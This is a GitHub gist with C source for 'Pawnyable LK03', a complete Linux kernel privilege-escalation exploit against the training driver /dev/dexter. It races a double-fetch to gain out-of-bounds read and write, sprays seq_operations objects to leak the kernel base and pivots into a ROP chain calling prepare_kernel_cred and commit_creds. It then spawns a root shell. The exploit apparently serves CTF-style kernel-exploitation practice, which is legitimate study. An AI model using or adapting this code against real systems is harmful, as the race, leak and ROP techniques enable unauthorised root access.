Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active January 9, 2023 02:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/07fe3e6d20d03f92e82e6a55dc2ddab7 to your computer and use it in GitHub Desktop.
Save brant-ruan/07fe3e6d20d03f92e82e6a55dc2ddab7 to your computer and use it in GitHub Desktop.
Pawnyable LK03
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define SPRAY_NUM 200
#define VUL_BUF_LEN 0x20
#define BUF_LEN 0x40
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define ofs_seq_ops_start 0x170f80
#define add_rsp_0x140_pop6_ret (kbase + 0x0bf813)
void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12;
uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab;
uint64_t prepare_kernel_cred = 0x0729b0;
uint64_t commit_creds = 0x072810;
uint64_t pop_rdi_ret = 0x29033c;
//uint64_t pop_rax_ret = 0x1366ca;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t pop_rbx_ret = 0x290240;
unsigned long kbase;
unsigned long g_buf;
typedef struct {
char *ptr;
size_t len;
} request_t;
int fd;
int tmp_fd;
request_t req;
int race_win = 0;
void fatal(char *msg) {
perror(msg);
exit(-1);
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int set(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_GET, &req);
}
void *race(void *arg) {
printf("[*] trying to set req.len to 0x%lx\n", (size_t)arg);
while (!race_win) {
req.len = (size_t)arg;
usleep(1);
}
return NULL;
}
void oob_read(char *buf, size_t len) {
char *zero = (char *)malloc(len);
pthread_t th;
pthread_create(&th, NULL, race, (void *)len);
puts("[*] trying to achieve OOB read");
memset(buf, 0, len);
memset(zero, 0, len);
while (!race_win) {
get(buf, VUL_BUF_LEN);
if (memcmp(buf, zero, len) != 0) {
race_win = 1;
break;
}
}
pthread_join(th, NULL);
printf("[+] achieved OOB read (0x%lx bytes)\n", len);
race_win = 0;
free(zero);
}
void oob_write(char *buf, size_t len) {
puts("[*] trying to achieve OOB write");
pthread_t th;
char *tmp = (char *)malloc(len);
while (1) {
pthread_create(&th, NULL, race, (void *)len);
for (int i = 0; i < 0x10000; i++)
set(buf, VUL_BUF_LEN);
race_win = 1;
pthread_join(th, NULL);
race_win = 0;
oob_read(tmp, len);
if (memcmp(tmp, buf, len) == 0)
break;
}
printf("[+] achieved OOB write (0x%lx bytes)\n", len);
free(tmp);
}
int main() {
char buf[BUF_LEN];
char temp[0x20] = {0};
int spray[SPRAY_NUM];
printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM - 1; i++) {
spray[i] = open("/proc/self/stat", O_RDONLY);
if (spray[i] == -1)
perror("open");
}
printf("[+] /dev/dexter opened\n");
fd = open("/dev/dexter", O_RDWR);
if (fd == -1)
fatal("/dev/dexter");
spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY);
oob_read(buf, BUF_LEN);
printf("[*] leaking kernel base with seq_operations\n");
kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
swapgs_restore_regs_and_return_to_usermode += kbase;
mov_rdi_rax_rep_movsq_ret += kbase;
prepare_kernel_cred += kbase;
commit_creds += kbase;
pop_rdi_ret += kbase;
pop_rbx_ret += kbase;
pop_rcx_ret += kbase;
*(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret;
oob_write(buf, BUF_LEN);
tmp_fd = spray[SPRAY_NUM - 1];
__asm__(".intel_syntax noprefix;"
"mov r15, pop_rdi_ret;"
"mov r14, 0x0;"
"mov r13, prepare_kernel_cred;"
"mov r12, pop_rcx_ret;"
"mov rbp, 0x0;"
"mov rbx, pop_rbx_ret;"
"mov r11, 0xbbbbbbbb;"
"mov r10, mov_rdi_rax_rep_movsq_ret;"
"mov r9, commit_creds;"
"mov r8, swapgs_restore_regs_and_return_to_usermode;"
"xor rax, rax;"
"mov rcx, 0x66666666;"
"mov rdx, 0x8;"
"mov rsi, rsp;"
"mov rdi, tmp_fd;"
"syscall;"
".att_syntax");
spawn_shell();
close(fd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment